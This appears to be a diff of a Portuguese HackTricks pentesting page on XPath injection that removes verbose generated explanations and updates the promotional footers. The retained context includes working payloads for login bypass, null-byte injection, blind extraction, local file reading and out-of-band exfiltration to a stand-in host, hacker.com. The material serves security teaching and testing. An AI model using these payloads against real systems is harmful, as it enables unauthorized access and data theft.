```markup
|
||||
|
|
@ -124,32 +123,6 @@ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leader
|
|||
</data>
|
||||
```
|
||||
### Acessar as informações
|
||||
|
||||
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query's logic and gain unauthorized access to sensitive information.
|
||||
|
||||
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML databases.
|
||||
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional information that was not intended to be disclosed.
|
||||
|
||||
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
|
||||
|
||||
```xml
|
||||
//users/user[name='John']
|
||||
```
|
||||
|
||||
By injecting a malicious expression, such as `' or 1=1 or ''='`, the attacker can modify the query to retrieve all user information:
|
||||
|
||||
```xml
|
||||
//users/user[name='John' or 1=1 or ''='']
|
||||
```
|
||||
|
||||
This modified query will return all user information, regardless of the input provided.
|
||||
|
||||
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
|
||||
|
||||
Additionally, using parameterized queries or prepared statements can help protect against XPath Injection attacks. These techniques ensure that user input is treated as data and not as part of the query logic, preventing attackers from modifying the query structure.
|
||||
|
||||
By understanding and mitigating XPath Injection vulnerabilities, developers can protect their web applications from unauthorized access to sensitive information.
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
|
@ -177,22 +150,6 @@ string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe
|
|||
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
|
||||
```
|
||||
### Identificar e roubar o esquema
|
||||
|
||||
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By manipulating the input parameters of the XPath query, an attacker can modify the query to retrieve sensitive information or perform unauthorized actions.
|
||||
|
||||
To identify and steal the schema using XPath Injection, follow these steps:
|
||||
|
||||
1. **Identify the vulnerable parameter**: Look for input fields or parameters in the web application that are used in XPath queries. These parameters are usually found in the URL, form inputs, or cookies.
|
||||
|
||||
2. **Determine the structure of the XPath query**: Analyze the XPath query structure used by the application to retrieve data. This will help you understand how the query is constructed and how to manipulate it.
|
||||
|
||||
3. **Inject malicious XPath code**: Craft a payload that includes malicious XPath code to modify the query and retrieve the schema. For example, you can use the `union` operator to combine the original query with a query that retrieves the schema.
|
||||
|
||||
4. **Observe the application's response**: Submit the payload and observe the application's response. If the response includes the schema or any other sensitive information, it means the injection was successful.
|
||||
|
||||
5. **Extract the stolen schema**: Extract the stolen schema from the application's response. This can be done by parsing the response and extracting the relevant information.
|
||||
|
||||
By following these steps, you can identify and steal the schema using XPath Injection. It is important to note that XPath Injection can have serious consequences, as it can lead to unauthorized access to sensitive data and compromise the security of the web application. Therefore, it is crucial to perform thorough security testing and implement proper input validation and sanitization techniques to prevent XPath Injection vulnerabilities.
|
||||
```python
|
||||
and count(/*) = 1 #root
|
||||
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
||||
|
|
@ -234,21 +191,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
|
|||
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
|
||||
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
|
||||
```
|
||||
### **Bypassando OR em usuário e senha (mesmo valor em ambos)**
|
||||
|
||||
Quando um aplicativo web utiliza a técnica de XPath para consultar um banco de dados XML, é possível explorar uma vulnerabilidade conhecida como injeção de XPath. Essa vulnerabilidade ocorre quando um invasor consegue inserir código XPath malicioso em um campo de entrada, levando o aplicativo a executar consultas não intencionais no banco de dados.
|
||||
|
||||
Uma técnica comum de injeção de XPath é a utilização do operador OR para contornar a verificação de usuário e senha. Normalmente, o aplicativo verifica se o valor inserido no campo de usuário é igual ao valor inserido no campo de senha. No entanto, ao injetar um código XPath malicioso, é possível enganar o aplicativo para que ele considere o valor inserido em ambos os campos como idênticos, permitindo o acesso não autorizado.
|
||||
|
||||
Aqui está um exemplo de como explorar essa vulnerabilidade:
|
||||
|
||||
```xml
|
||||
' or '1'='1
|
||||
```
|
||||
|
||||
Nesse exemplo, o código XPath malicioso `' or '1'='1` é inserido no campo de usuário. O operador OR faz com que o aplicativo considere o valor inserido no campo de senha como verdadeiro, independentemente do que foi inserido. Isso permite que o invasor acesse a conta sem fornecer as credenciais corretas.
|
||||
|
||||
Para se proteger contra a injeção de XPath, é importante validar e sanitizar todas as entradas do usuário antes de executar consultas XPath. Além disso, é recomendável utilizar consultas parametrizadas ou funções de escape fornecidas pela plataforma para evitar a execução de código malicioso.
|
||||
### **Bypass de OR em usuário e senha (mesmo valor em ambos)**
|
||||
```
|
||||
' or '1'='1
|
||||
" or "1"="1
|
||||
|
|
@ -260,34 +203,12 @@ Select account
|
|||
Select the account using the username and use one of the previous values in the password field
|
||||
```
|
||||
### **Explorando a injeção de nulo**
|
||||
|
||||
A injeção de nulo é uma técnica comum usada para explorar vulnerabilidades em aplicativos da web que usam consultas XPath. Essa técnica envolve a manipulação de parâmetros de entrada para inserir uma expressão XPath maliciosa que pode ser executada pelo aplicativo.
|
||||
|
||||
#### **Como funciona a injeção de nulo?**
|
||||
|
||||
A injeção de nulo ocorre quando um aplicativo da web não valida corretamente os dados de entrada antes de usá-los em uma consulta XPath. Isso permite que um invasor insira uma sequência de caracteres nula ou vazia como entrada, o que pode levar a uma execução inesperada da consulta XPath.
|
||||
|
||||
#### **Explorando a injeção de nulo**
|
||||
|
||||
Para explorar a injeção de nulo, um invasor pode inserir uma sequência de caracteres nula ou vazia em um parâmetro de entrada que é usado em uma consulta XPath. Isso pode resultar em diferentes comportamentos, dependendo da implementação do aplicativo.
|
||||
|
||||
Um exemplo de exploração de injeção de nulo é quando um aplicativo usa uma consulta XPath para recuperar informações de um banco de dados. Se um invasor inserir uma sequência de caracteres nula ou vazia como entrada, a consulta XPath pode retornar todos os registros do banco de dados, expondo informações confidenciais.
|
||||
|
||||
#### **Prevenção da injeção de nulo**
|
||||
|
||||
Para prevenir a injeção de nulo, é importante validar e sanitizar corretamente os dados de entrada antes de usá-los em consultas XPath. Isso pode ser feito implementando filtros de entrada e validando os dados em conformidade com as regras de negócios do aplicativo.
|
||||
|
||||
Além disso, é recomendável usar consultas parametrizadas ou funções de escape fornecidas pela plataforma ou biblioteca utilizada para evitar a injeção de código malicioso.
|
||||
|
||||
#### **Conclusão**
|
||||
|
||||
A injeção de nulo é uma vulnerabilidade comum em aplicativos da web que usam consultas XPath. Ao entender como essa técnica funciona e implementar medidas de prevenção adequadas, os desenvolvedores podem proteger seus aplicativos contra ataques de injeção de nulo e garantir a segurança dos dados dos usuários.
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
### **Duplo OU no nome de usuário ou na senha** (é válido com apenas 1 campo vulnerável)
|
||||
### **Duplo OR no Nome de Usuário ou na Senha** (é válido com apenas 1 campo vulnerável)
|
||||
|
||||
IMPORTANTE: Observe que a **"e" é a primeira operação realizada**.
|
||||
IMPORTANTE: Observe que o **"and" é a primeira operação realizada**.
|
||||
```
|
||||
Bypass with first match
|
||||
(This requests are also valid without spaces)
|
||||
|
|
@ -311,7 +232,7 @@ string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/tex
|
|||
```
|
||||
## Extração de strings
|
||||
|
||||
A saída contém strings e o usuário pode manipular os valores para realizar buscas:
|
||||
A saída contém strings e o usuário pode manipular os valores para pesquisar:
|
||||
```
|
||||
/user/username[contains(., '+VALUE+')]
|
||||
```
|
||||
|
|
@ -330,25 +251,9 @@ A saída contém strings e o usuário pode manipular os valores para realizar bu
|
|||
')] | //user/*[3] | a[(' #The password of all users
|
||||
')] | //user/*[4] | a[(' #The account of all users
|
||||
```
|
||||
### **Exploração Cega**
|
||||
## Exploração Cega
|
||||
|
||||
### **Obter o comprimento de um valor e extraí-lo por comparações:**
|
||||
|
||||
A injeção de XPath cega é uma técnica de exploração que permite obter informações de um aplicativo da web através de consultas XPath. Nesse tipo de ataque, o invasor manipula os parâmetros de entrada do aplicativo para injetar código XPath malicioso.
|
||||
|
||||
Uma das técnicas comuns de injeção de XPath cega é obter o comprimento de um valor e extraí-lo por meio de comparações. Isso é útil quando o invasor não consegue visualizar diretamente os resultados da consulta XPath, mas pode inferir informações com base nas respostas do aplicativo.
|
||||
|
||||
Para realizar essa técnica, o invasor pode usar expressões XPath como `string-length()` para obter o comprimento de um valor específico. Em seguida, ele pode usar operadores de comparação, como `>`, `<` ou `=`, para extrair o valor caractere por caractere.
|
||||
|
||||
Por exemplo, suponha que o invasor queira obter o nome de usuário de um aplicativo da web. Ele pode injetar a seguinte expressão XPath:
|
||||
|
||||
```plaintext
|
||||
' or string-length(//user/username/text()) > 1 or 'a'='a
|
||||
```
|
||||
|
||||
Se o aplicativo responder de forma diferente quando o comprimento do nome de usuário for maior que 1, o invasor pode inferir que o primeiro caractere do nome de usuário é `a`. Ele pode então continuar a extrair os caracteres restantes usando comparações semelhantes.
|
||||
|
||||
É importante ressaltar que a injeção de XPath cega pode ser um processo demorado, pois o invasor precisa realizar várias comparações para extrair cada caractere do valor desejado. Além disso, é crucial ter cuidado ao realizar esse tipo de ataque, pois a manipulação incorreta das consultas XPath pode causar erros no aplicativo ou até mesmo danificar o sistema.
|
||||
```bash
|
||||
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
||||
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
||||
|
|
@ -379,65 +284,10 @@ print("[+] Flag: " + flag)
|
|||
break
|
||||
```
|
||||
### Ler arquivo
|
||||
|
||||
A injeção de XPath é uma técnica de ataque que permite que um invasor leia arquivos arbitrários no servidor. Essa técnica é possível quando um aplicativo web usa consultas XPath para extrair dados de um documento XML.
|
||||
|
||||
#### Como funciona a injeção de XPath?
|
||||
|
||||
A injeção de XPath ocorre quando um invasor manipula os parâmetros de entrada do aplicativo web para inserir uma expressão XPath maliciosa. Essa expressão é então avaliada pelo servidor, permitindo que o invasor leia arquivos do sistema.
|
||||
|
||||
#### Exemplo de injeção de XPath
|
||||
|
||||
Considere o seguinte código de exemplo:
|
||||
|
||||
```python
|
||||
import lxml.etree as ET
|
||||
|
||||
def get_user_data(username):
|
||||
query = f"//users/user[username/text()='{username}']"
|
||||
result = ET.parse('users.xml').xpath(query)
|
||||
return result
|
||||
```
|
||||
|
||||
Neste exemplo, a função `get_user_data` recebe um nome de usuário como parâmetro e consulta um arquivo XML chamado `users.xml` usando XPath. No entanto, o código não valida ou sanitiza o parâmetro `username`, o que torna vulnerável a ataques de injeção de XPath.
|
||||
|
||||
Um invasor mal-intencionado pode explorar essa vulnerabilidade fornecendo um valor de entrada manipulado, como `' or 1=1 or username/text()='admin' or '`. Isso fará com que a expressão XPath se torne `//users/user[username/text()=' or 1=1 or username/text()='admin' or ']`, que retornará todos os usuários do arquivo XML.
|
||||
|
||||
#### Prevenção de injeção de XPath
|
||||
|
||||
Para prevenir a injeção de XPath, é importante validar e sanitizar todas as entradas do usuário antes de usá-las em consultas XPath. Isso pode ser feito por meio de técnicas como a utilização de consultas parametrizadas ou a implementação de listas de permissões para os valores de entrada permitidos.
|
||||
|
||||
Além disso, é recomendável restringir as permissões de acesso aos arquivos do sistema, garantindo que o aplicativo web tenha apenas as permissões necessárias para ler os arquivos relevantes.
|
||||
|
||||
#### Conclusão
|
||||
|
||||
A injeção de XPath é uma vulnerabilidade comum em aplicativos web que usam consultas XPath para extrair dados de documentos XML. Ao validar e sanitizar as entradas do usuário e restringir as permissões de acesso aos arquivos do sistema, é possível prevenir com eficácia esse tipo de ataque.
|
||||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
## Exploração OOB
|
||||
|
||||
Out-of-Band (OOB) é uma técnica de exploração usada em ataques de injeção XPath. Essa técnica permite que um invasor extraia dados de um aplicativo da web, mesmo quando a resposta não é diretamente visível na página.
|
||||
|
||||
### Como funciona
|
||||
|
||||
A injeção XPath ocorre quando um invasor insere código XPath malicioso em um campo de entrada de um aplicativo da web. Esse código é então executado pelo servidor, permitindo que o invasor manipule a consulta XPath e extraia informações do banco de dados subjacente.
|
||||
|
||||
No entanto, em alguns casos, a resposta do servidor não é diretamente visível na página. Isso pode ocorrer quando o aplicativo da web está configurado para bloquear a exibição de certos tipos de dados ou quando a resposta é redirecionada para um local diferente.
|
||||
|
||||
Nesses casos, a técnica OOB pode ser usada para extrair os dados de forma indireta. O invasor pode aproveitar recursos externos, como DNS ou HTTP, para enviar os dados extraídos para um servidor controlado por ele.
|
||||
|
||||
### Tipos de OOB
|
||||
|
||||
Existem dois tipos principais de OOB:
|
||||
|
||||
1. **OOB baseado em DNS**: Nesse tipo de OOB, o invasor explora a capacidade do servidor de fazer consultas DNS. Ele injeta código XPath malicioso que faz com que o servidor faça uma consulta DNS para um domínio controlado pelo invasor. Os dados extraídos são então incluídos na resposta DNS, que é enviada para o servidor controlado pelo invasor.
|
||||
|
||||
2. **OOB baseado em HTTP**: Nesse tipo de OOB, o invasor explora a capacidade do servidor de fazer solicitações HTTP. Ele injeta código XPath malicioso que faz com que o servidor faça uma solicitação HTTP para um servidor controlado pelo invasor. Os dados extraídos são incluídos na resposta HTTP, que é enviada para o servidor controlado pelo invasor.
|
||||
|
||||
### Conclusão
|
||||
|
||||
A técnica de exploração OOB é uma maneira eficaz de extrair dados de um aplicativo da web, mesmo quando a resposta não é diretamente visível na página. Ao aproveitar recursos externos, como DNS ou HTTP, um invasor pode obter acesso aos dados desejados. É importante que os desenvolvedores estejam cientes dessa técnica e implementem medidas de segurança adequadas para proteger seus aplicativos contra ataques de injeção XPath.
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
|
@ -456,31 +306,31 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Interaja com conteúdos que exploram a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se a lenda dos hackers web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações importantes da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
Loading…
Reference in a new issue